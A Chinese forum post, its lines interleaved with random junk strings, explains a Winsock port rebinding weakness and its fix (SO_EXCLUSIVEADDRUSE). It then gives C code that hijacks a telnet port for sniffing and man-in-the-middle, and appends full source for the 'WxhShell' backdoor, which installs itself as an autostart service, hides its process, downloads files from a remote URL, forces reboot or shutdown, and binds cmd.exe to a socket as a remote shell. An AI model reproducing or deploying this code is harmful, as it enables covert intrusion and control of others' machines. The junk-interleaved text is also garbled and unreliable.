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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GdL\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UO<uG#FB wqA5GK>m2 saddr.sin_family = AF_INET; () b0Sh= aOWbIS[8 saddr.sin_addr.s_addr = htonl(INADDR_ANY); AWD &K! >=C)\Yfu) bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1hi^ nHyWb6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z7HC6{g%X g>OGh o 这意味着什么?意味着可以进行如下的攻击: k(%RX_]C 7dV^35 KP 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rd%3eR?V cX* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Dih~5 `1M_rG1/+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R;I}#b cJ ^h^j:!76j 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 z_A%>E4 4.H!rkMM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h>bmHQ /*rMveT 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]vKxgfF z)QyQ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <C${1FO7If {oBVb{< #include 'Nfg%)-N #include F^A1'J #include (:-DuUt #include eUF PzioW DWORD WINAPI ClientThread(LPVOID lpParam); 8b6:n1<fn int main() ]r|.\}2Y7 { ,ZMYCl] WORD wVersionRequested; -bo0!@MK DWORD ret; d{ OY WSADATA wsaData; &W.tjqmw BOOL val; 8 hWQ SOCKADDR_IN saddr; -pg7>vO q SOCKADDR_IN scaddr;
`I6)e{5t int err; B: {bmvy SOCKET s; 2<u vz<B SOCKET sc; Lc<Gny^ int caddsize; wx<5*8zP HANDLE mt; ='soSnT DWORD tid; Zh3]bg5 wVersionRequested = MAKEWORD( 2, 2 ); Z [68ji] err = WSAStartup( wVersionRequested, &wsaData ); 2uiiTg> if ( err != 0 ) { }"q1B printf("error!WSAStartup failed!\n"); w5qhKu!1 return -1; u@==Ut } ;Y K^&!N saddr.sin_family = AF_INET; #-e3m/> 9;h1;9sC| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8MW|CM4Q joM98H@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @jwUH8g1 saddr.sin_port = htons(23); 2Ybz`O!
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8)R)h/E> { d*q_DV printf("error!socket failed!\n"); 5%tIAbGW return -1; :hxfd b- } zZ;tSKL val = TRUE; {wA@5+[ //SO_REUSEADDR选项就是可以实现端口重绑定的 [Hn+r & if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %o^'(L@z { /\#qz.c2K printf("error!setsockopt failed!\n"); E37`g}ZS return -1; @iWIgL } hQ<" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I:mJWe //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oX?2fu- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ';b/D ?bN8h)>QQ8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,YH^jc { PPE:@!u< ret=GetLastError(); '<1T>|`/t printf("error!bind failed!\n"); {#Gr=iv~N return -1; Q@]#fW\Y } +TUtVG listen(s,2); C7q bofoV while(1) )G*Hl^Z;4 { m$[\(Z(/ caddsize = sizeof(scaddr); /!7m@P|&D //接受连接请求 )5yZSdA sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aEX+M57k~ if(sc!=INVALID_SOCKET) j g$%WAEb { !>t|vgW mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `<\AnhNW]I if(mt==NULL) p|AIz3 { j##IJm printf("Thread Creat Failed!\n"); sfVtYIu break; M[TgNWl/[ } O \lt!p3F } ,gkxZ{Eh CloseHandle(mt); R<k4LHDy } $i~DUT( closesocket(s); =b9?r WSACleanup(); PlBT
H return 0; _W?}%; } K*CO%:,- DWORD WINAPI ClientThread(LPVOID lpParam) jF-z? { t;y>q SOCKET ss = (SOCKET)lpParam; N,Y<mX SOCKET sc; Y.Gr(]tk unsigned char buf[4096]; !:e}d+F SOCKADDR_IN saddr; -?'u"*#1, long num; J. {[> DWORD val; r6MQ|@ DWORD ret; dwJ'hg //如果是隐藏端口应用的话,可以在此处加一些判断 =@{H7z(p& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 n*bbmG1 saddr.sin_family = AF_INET; >Qt#6X| saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ybd){Je"z saddr.sin_port = htons(23); WR~uy|mX if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2r[Q$GPM< { H={fY:% printf("error!socket failed!\n"); $IB@|n return -1; rq2XFSXn } nm\n\j~ val = 100; {-<h5_h@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &\c$s { JUwP<C[ ret = GetLastError(); hDVD@b return -1; k)y0V:ZY]O } 9[$g;}w if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n;O
3.2 { !|Vjv}UO ret = GetLastError(); S>cT(q_& return -1; ##R]$-<4dQ } m,*t}j0 7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iFga==rw { D~2,0K printf("error!socket connect failed!\n"); 1VJE+3 closesocket(sc); O^sgUT1O closesocket(ss); N}.h_~6 return -1; gKS^-X{x
} )`;?%N\ while(1) B`T9dL[E4 { SU
H^ ]4> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <lv:mqV //如果是嗅探内容的话,可以再此处进行内容分析和记录 )+\e+Ad}H //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a)`h*P5@ num = recv(ss,buf,4096,0); I#$u(2.H if(num>0) NIV&)`w send(sc,buf,num,0); M|Z]B<_x else if(num==0) js k<N break; 7J0PO}N num = recv(sc,buf,4096,0); S}fIZ1 if(num>0) <0&];5
on send(ss,buf,num,0); E/5w
H/ else if(num==0) 2+y4Gd 7 break; ]lm9D@HMC } o7hjx hmC closesocket(ss); Z$6W)~;, closesocket(sc); !aIIjWz] return 0 ; k('2K2P } ~#(bX]+A `q4\w[0+p ,4EE9
?J ========================================================== =BNmuAY7 3#5sj > 下边附上一个代码,,WXhSHELL CUY2eQJ{U $Fr$9 jq& ========================================================== +O\6p L(AY)gB #include "stdafx.h" ^\Jg
{9a b\6w[52m #include <stdio.h> ;~xkT' #include <string.h> o5AyJuS-u$ #include <windows.h> .VWH #include <winsock2.h> >&BgF*mm #include <winsvc.h> O+z-6:` #include <urlmon.h> "64pVaT4 =p^*y-z #pragma comment (lib, "Ws2_32.lib") X8?|5$Ey #pragma comment (lib, "urlmon.lib") 1xcx2L+R #Wh"_zpM+ #define MAX_USER 100 // 最大客户端连接数 VYlg+MlT0 #define BUF_SOCK 200 // sock buffer Rp9uUJ 6o #define KEY_BUFF 255 // 输入 buffer I,t 0X) T>W(Caelq #define REBOOT 0 // 重启 $6ITa }o #define SHUTDOWN 1 // 关机 qdO^)uJJ N[r@Y{ #define DEF_PORT 5000 // 监听端口 >(d+E\!A saYn\o"m #define REG_LEN 16 // 注册表键长度 &/Tx@j^.C #define SVC_LEN 80 // NT服务名长度 ")ZHa qEB ezHj?@ // 从dll定义API xR;Xx; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (Tc ~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C^l)n!fq typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kA\;h|Y3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &X +@,! 574b] // wxhshell配置信息 }]tSWVb* struct WSCFG { NE3G!qxL int ws_port; // 监听端口 n |.- :Zy char ws_passstr[REG_LEN]; // 口令 oLB pG1Va int ws_autoins; // 安装标记, 1=yes 0=no r\_aux^z char ws_regname[REG_LEN]; // 注册表键名 }RW4 char ws_svcname[REG_LEN]; // 服务名 e`8z1r char ws_svcdisp[SVC_LEN]; // 服务显示名 }1Wo#b+ char ws_svcdesc[SVC_LEN]; // 服务描述信息 %xWmzdn char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o3}12i S int ws_downexe; // 下载执行标记, 1=yes 0=no I8`.eqV char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" RwT.B+Onuy char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `4Nc(aUr [y>Q3UqN }; zB 7wGl9 bCA3w%,kM // default Wxhshell configuration mQ' ]0D S struct WSCFG wscfg={DEF_PORT, lL%7lO "xuhuanlingzhe", uCmdNY 1, m0/J3 "Wxhshell", {zmo7~= "Wxhshell", r|0C G^:C "WxhShell Service", h
:NHReMT "Wrsky Windows CmdShell Service", 2ZLK`^S "Please Input Your Password: ", 'KyT]OObS 1, v-OGY[|97 " http://www.wrsky.com/wxhshell.exe", *GD 1[:
"Wxhshell.exe" b*.)m }; /A##Yv!biR =fG(K!AQ // 消息定义模块 BWw7o{d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c.jnPVf: char *msg_ws_prompt="\n\r? for help\n\r#>"; F fl`;M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; bYG}CO char *msg_ws_ext="\n\rExit."; FKL}6W: char *msg_ws_end="\n\rQuit."; T|9Yo=UK% char *msg_ws_boot="\n\rReboot..."; y]cx}9~ char *msg_ws_poff="\n\rShutdown..."; ?86h:9 char *msg_ws_down="\n\rSave to "; gU+BRTZ&x 0!+ab'3a char *msg_ws_err="\n\rErr!"; gxt2Mq;q~} char *msg_ws_ok="\n\rOK!"; *Q51'?y swlxV@NQ char ExeFile[MAX_PATH]; *7!}[ v_ int nUser = 0; B}r@x z HANDLE handles[MAX_USER]; ]l+2Ca:-[j int OsIsNt; iAup',AZg li
NPXS+ SERVICE_STATUS serviceStatus; MQ,$'Y5~H SERVICE_STATUS_HANDLE hServiceStatusHandle; B[b'OtH (
B50~it // 函数声明 @,zBZNX
y int Install(void); nJ2l$J< int Uninstall(void); %y8w9aGt int DownloadFile(char *sURL, SOCKET wsh); Td8'z' int Boot(int flag); ojyG|Y void HideProc(void); 5z El`h int GetOsVer(void); ;O5NZa!.73 int Wxhshell(SOCKET wsl); Rs<,kMRGVL void TalkWithClient(void *cs); QC
]z--wu int CmdShell(SOCKET sock); Lg9ktRKK int StartFromService(void); |L]dJ< int StartWxhshell(LPSTR lpCmdLine);
:i:Zc~% .fQDj{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d@#=cvW VOID WINAPI NTServiceHandler( DWORD fdwControl ); _>3GNvS Ep0Aogp29 // 数据结构和表定义 Mc@p~5!M SERVICE_TABLE_ENTRY DispatchTable[] = zxwpS { }14.u&4 {wscfg.ws_svcname, NTServiceMain}, i<=@7W {NULL, NULL} |wK)(s }; qn4Dm ^ S"N@.n[ // 自我安装 Az0Yt31= int Install(void) LJI&j \ { mP:mzmUw char svExeFile[MAX_PATH]; Rzb663d HKEY key; Zsf<)Vx strcpy(svExeFile,ExeFile); ugMJ}IGq QW~o+N~~ // 如果是win9x系统,修改注册表设为自启动 CR,
Y%0vQ if(!OsIsNt) { :%!SzI? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %J+$p\c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xwx;m/ RegCloseKey(key); Kz^aW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w8@MUz}/# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L i< c RegCloseKey(key); G%'h'AV" return 0; @&h<jM{D } eeL%Yp3+ } PT\5P&2o@ } !4*@H else { U?>zq!C&R }Pw5*duq // 如果是NT以上系统,安装为系统服务 IXzad SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q)@.f. if (schSCManager!=0) ODEy2). { X)nOY* SC_HANDLE schService = CreateService CQv
[Od ( l(&CO<4q? schSCManager, L;BYPZR wscfg.ws_svcname, .h7b 4J wscfg.ws_svcdisp, C*c=@VAa SERVICE_ALL_ACCESS, e=2;z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `5!7Il SERVICE_AUTO_START, &4{%3 w_/ SERVICE_ERROR_NORMAL,
KJ(zLwQ: svExeFile, K-vso4@BJ NULL, -u8@ . NULL, *DG*&Me NULL, ?BWWb
NULL, lgnF\) NULL pw(`+x] ); T /]ayc: if (schService!=0) `
0\hm` { nLQ X?: CloseServiceHandle(schService); c4;
`3 CloseServiceHandle(schSCManager); {/ty{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +x+H(of. strcat(svExeFile,wscfg.ws_svcname); /&kTVuN"( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :uI}"Bp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $@K+yOq+u RegCloseKey(key); kdoE)C return 0; } [75`pC~O } ;9prsvf
} pwu5Fxn) CloseServiceHandle(schSCManager); aC%0jJ<eo } pq4+n'uO } u
|f h!- s';jk(i3 return 1; H M76%9! } tcRK\ g5Hs= c5=\ // 自我卸载 M8g=t[\ int Uninstall(void) <'gCI Ia2 { 0~FX!1; HKEY key; ?rv+ydR/q UO!OO&l! if(!OsIsNt) { <:%Iq13D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B!8]\D RegDeleteValue(key,wscfg.ws_regname); &Nec(q< RegCloseKey(key); xy|;WB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @<w$QD RegDeleteValue(key,wscfg.ws_regname); c[j3_fn1] RegCloseKey(key); 5E.cJ{ return 0; .Q?AzU,2D } ]cA){^.Jz } b"f4}b } Yq2mVo else { <89js87 R)<>} y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2 3>lE}^G if (schSCManager!=0) ~xXB
!K~C { t[^}/
S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l+T\DZ if (schService!=0) uQ&xoDCB { !E$S&zVMQ if(DeleteService(schService)!=0) { GLk7#Y CloseServiceHandle(schService); =fRP9`y CloseServiceHandle(schSCManager); OCRx| return 0; {N
_v4}) } #"f:m` CloseServiceHandle(schService); %3kqBH!d } Nzr zLK CloseServiceHandle(schSCManager); 6?hv,^ } QtX ->6P> } 4RdpROK IO fo]p- return 1; "e(OO/EZS } 2{&|%1Jg BD9` +9 // 从指定url下载文件 5V%K'a( int DownloadFile(char *sURL, SOCKET wsh) rl6vt*g { Oj<2_u HRESULT hr; > m5j.GP; char seps[]= "/"; W'6*$Ron char *token; ){gO b char *file; J .El&Dev char myURL[MAX_PATH]; 3xj<ATSe char myFILE[MAX_PATH]; op}x}Ioz _c%~\LOk strcpy(myURL,sURL); -/FCd( token=strtok(myURL,seps); 44S<(Re while(token!=NULL) d)dIIzv { Mu{mj4Y{ file=token; =0 m[ token=strtok(NULL,seps); JRl8S } dqG+hh^ SHhg&~B GetCurrentDirectory(MAX_PATH,myFILE); }*?e w strcat(myFILE, "\\"); d5bj$oH strcat(myFILE, file); [q_Yf!(m- send(wsh,myFILE,strlen(myFILE),0); hJaqW'S send(wsh,"...",3,0); DhB:8/J hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uwf3 if(hr==S_OK) /i$&89yod return 0; A0&~U0*(~ else (VC_vz- return 1; GJ?rqmbL ! 4i } X'iki4 ^=W%G^jJy // 系统电源模块 ^DIN(0u) int Boot(int flag) 1R,n[`}h { "I_3!Yu HANDLE hToken; M@csB. ' TOKEN_PRIVILEGES tkp; [0_Kz"| f~"3#MaV if(OsIsNt) { A$|> Jt OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1!=$3]l0Lj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ry/NfF= tkp.PrivilegeCount = 1; zwAuF%U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0Z9jlwcQ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C'mmo&Pd if(flag==REBOOT) { m#8KCZS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A6#ob return 0; /\Q{i#v } x6F\|nb else { 93YD\R+q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,[~Ydth return 0; Fbk<qQH } )Cx8?\/c=x }
i 0L7`TB else { [IW@mn> if(flag==REBOOT) { J"[OH,/_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >)5rOU return 0; 0&EX-DbV } t,MK#Ko else { 5X~ko> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b6]M}ixK return 0; c*\^61T } i*2z7M Y
} PQf FpmG EiT
raWV"O return 1; SxQ|1:i% } + E S.O]?> >A1Yn]k // win9x进程隐藏模块 hvpn=0@M void HideProc(void) Y*"%;e$tg { +mxs jcq0 -=g`7^qa> HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8V4Qyi|@F if ( hKernel != NULL ) gg8T],s1!a { R~c(^.|r pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TF3Tha] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `knw1,qL" FreeLibrary(hKernel); -"a]) -
j } hO(HwG?8t 40@KL$B= return; R>Zn$%j\ } $_)f|\s .h*&$c/l // 获取操作系统版本 I>P</TE7 int GetOsVer(void) X\$M _b>O { 6tnAE': OSVERSIONINFO winfo; mexI} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V-X n&s GetVersionEx(&winfo); r
Ssv^W+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %X.Q\T return 1; sI^1c$sBN else s&fU|Jk8 return 0; qi/%&)GZ } yp :yS 4CN8>J'- // 客户端句柄模块 ?X:RrZ:/ int Wxhshell(SOCKET wsl) eueXklpg+ { E!Ng=}G&_ SOCKET wsh; 4&&j7$aV struct sockaddr_in client; 1L$u8P^< DWORD myID; }!.7QpA$ .b]oB_ while(nUser<MAX_USER) 525xm"Bs { 'ugG^2Y int nSize=sizeof(client); 7 IIM8/BI wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t@4vEKw?.X if(wsh==INVALID_SOCKET) return 1; WcUeWGC> Ezml LFp. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -R\}Q" if(handles[nUser]==0) *Pq`~W_M7 closesocket(wsh); 5-&P4 else ' u0{h nUser++; n*;mFV0s } O &X-)g= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1}'Jbj"/ &7<~Q\XZbI return 0; U'#{v7u } :m+:%keK 54 8@._-S // 关闭 socket vJcvyz#%1 void CloseIt(SOCKET wsh) 5aWKyXBIx { 8[y7(Xw closesocket(wsh); ? jOpW1 nUser--; l_kH^ET ExitThread(0); '7=*n_l } #u2PAZ@qd G-:DMjvN // 客户端请求句柄 OZv&{_b_ void TalkWithClient(void *cs) uZ'5&k96T { k5PzY!N hpw;w}m SOCKET wsh=(SOCKET)cs; DdFVOs| char pwd[SVC_LEN]; _p~
`nQ=7 char cmd[KEY_BUFF]; +nqOP3 char chr[1]; nF//y} int i,j; 2<J82(4j AM }OLHj while (nUser < MAX_USER) { t>b^S, "5YsBih if(wscfg.ws_passstr) { CP?\'a"Kt if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {wMCo, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^^%*2^ //ZeroMemory(pwd,KEY_BUFF); Vj:PNt[ i=0; \[8I5w- while(i<SVC_LEN) { Z> &PM06
J}.p6E~j // 设置超时 Z2LG/R fd_set FdRead; &0o&!P8CB struct timeval TimeOut; vR`KRI`{ FD_ZERO(&FdRead); ,Wdyg8&. FD_SET(wsh,&FdRead); lOEbh TimeOut.tv_sec=8; f< '~K TimeOut.tv_usec=0; #}vcffgZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WFh!re%Z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &2Y>yFB
, *X)OdU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N
.SszZh pwd =chr[0]; CBF>157B if(chr[0]==0xd || chr[0]==0xa) { !WIL|\jbh pwd=0; }ShZ4 xMz break; U 26Iz } Y${ $7+@ i++; JY_' d,O } lc'Jn$O@ 00$W>Gr // 如果是非法用户,关闭 socket 8T2$0 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \@80Z5?n } WM"I
r1 *D9QwQ
_| send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )X7ZX#ttH send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E]e6a^J# \"uR&D while(1) { Jl4zj>8~ !u=[/> ZeroMemory(cmd,KEY_BUFF); [NuayO3 ;=E3f^'s // 自动支持客户端 telnet标准 ?= fJu\; j=0; $60+}B`m while(j<KEY_BUFF) {
"? R$9i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9x:c"S* cmd[j]=chr[0]; p2cKtk+ if(chr[0]==0xa || chr[0]==0xd) { !!P)r1=g cmd[j]=0; $A-b-`X break; 3<'n>' } K~Xt` j++; "q%Q[^b } >uI|S <vPIC G) // 下载文件 Ddu$49{S: if(strstr(cmd,"http://")) { /*8"S mte send(wsh,msg_ws_down,strlen(msg_ws_down),0); |D<~a(0 if(DownloadFile(cmd,wsh)) `4$" mO>+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 .*=1P*? else Iw48+krm> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V%3K") } K.1#cf
^' else { 6>KDK<5NQ |KkVt]ZQe9 switch(cmd[0]) { Iunt!L NL~} // 帮助 8_:jPd!3 case '?': { 2avSsN{^ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4s3n|6 v break; F*(<`V } uWgY+T // 安装 K0b(D8! case 'i': { *P9)M% if(Install()) "y62Wo6m) send(wsh,msg_ws_err,strlen(msg_ws_err),0); xeZ,}YP) else IV!&jL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zm_mLk$4H break; 6\(\ } ,%D \ // 卸载 S3.Pqp_< case 'r': { .( 75.^b2) if(Uninstall()) )=2iGEVW send(wsh,msg_ws_err,strlen(msg_ws_err),0); I>fEwMk~ else P1)9OE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #knpZ' break; ?7(`2=J } Dy5'm? // 显示 wxhshell 所在路径 ,US] case 'p': { iN=-N=
char svExeFile[MAX_PATH]; m+,a=sR strcpy(svExeFile,"\n\r"); ;}1*M ! strcat(svExeFile,ExeFile); 29}(l#S}m send(wsh,svExeFile,strlen(svExeFile),0); cgml^k\k^ break; >P/.X^G0 } V"k*PLt // 重启 >e'6RZRLA case 'b': { ]B\H send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b,~6cDU if(Boot(REBOOT)) He~)i)co send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4IIe1
.{ else { /+iU1m'( closesocket(wsh); XWH~o:0<2 ExitThread(0); \za 0?b } D O#4E<]5 break; 6-j><' } w}X <]u // 关机 A^*0{F?,) case 'd': { ms`R^6Ra send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z;-=x p if(Boot(SHUTDOWN)) FK{Vnj0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); %?@N-$j else { <"X\~ closesocket(wsh); M9M~[[
ExitThread(0); #J#x,BLI } 1T!(M"'Ij break; ,_F@9Up } Hj2E -RwG // 获取shell |W:xbtPNy case 's': { bM+}j+0 CmdShell(wsh); :bNqK0[rS closesocket(wsh); ..)O/g. ExitThread(0); *@^9]$*$ break; ViKN|W>T } g\ilK:r} // 退出 PuYAoKG case 'x': { dtTQY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =c8xg/ CloseIt(wsh); h/?$~OD break; U9[QdC } vtk0 j // 离开 o9*}>J<+RQ case 'q': { @Fvp~]jCb send(wsh,msg_ws_end,strlen(msg_ws_end),0); k[#<=G_=/E closesocket(wsh); pMndyuoJl WSACleanup(); ?d&l_Pa0e exit(1); Qu"zzb"k break; |KY6IGcqV } lC|`DG-B } "tdF#>x } __LR!F]=i AWo\u!j // 提示信息 ~XU%_Hz if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VC~1QPC9 } n-P<y } C%&A9(jG t}6QU return; N5_` } >oh7f| pUF$Nq>og // shell模块句柄 Lp31Y .4 int CmdShell(SOCKET sock) bAOL<0RS9` { (`'(`x# STARTUPINFO si; u]0{#wu;g ZeroMemory(&si,sizeof(si)); wB'GV1|jL si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =^ZDP1h/} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HV2 1=W PROCESS_INFORMATION ProcessInfo; g A+p^`;[ char cmdline[]="cmd"; V) xwl vX CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZQ1,6<^9i[ return 0; x_L5NsO: } ]8 vsr$E# [Z]%jABR // 自身启动模式 'Hf+Y/` int StartFromService(void) h8XoF1wuw { -8zdkm8k typedef struct p ;]Qxh { }vK8P r% DWORD ExitStatus; zy'e|92aO DWORD PebBaseAddress; /M2U7^9``" DWORD AffinityMask; xTnFJ$RK2 DWORD BasePriority;
nQ +$ ULONG UniqueProcessId; `_"loPu ULONG InheritedFromUniqueProcessId; xyzYY}PS } PROCESS_BASIC_INFORMATION; '><I|c} 3QhQpPk), PROCNTQSIP NtQueryInformationProcess; GAP,$xAaW W*;r}!ro static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A'6-E{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4$oDq X*w7q7\8-: HANDLE hProcess; !-HJ%(5:F PROCESS_BASIC_INFORMATION pbi; L/ g8@G
; slnvrel HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =|LB,REN if(NULL == hInst ) return 0; y0]"qB <s=i5t
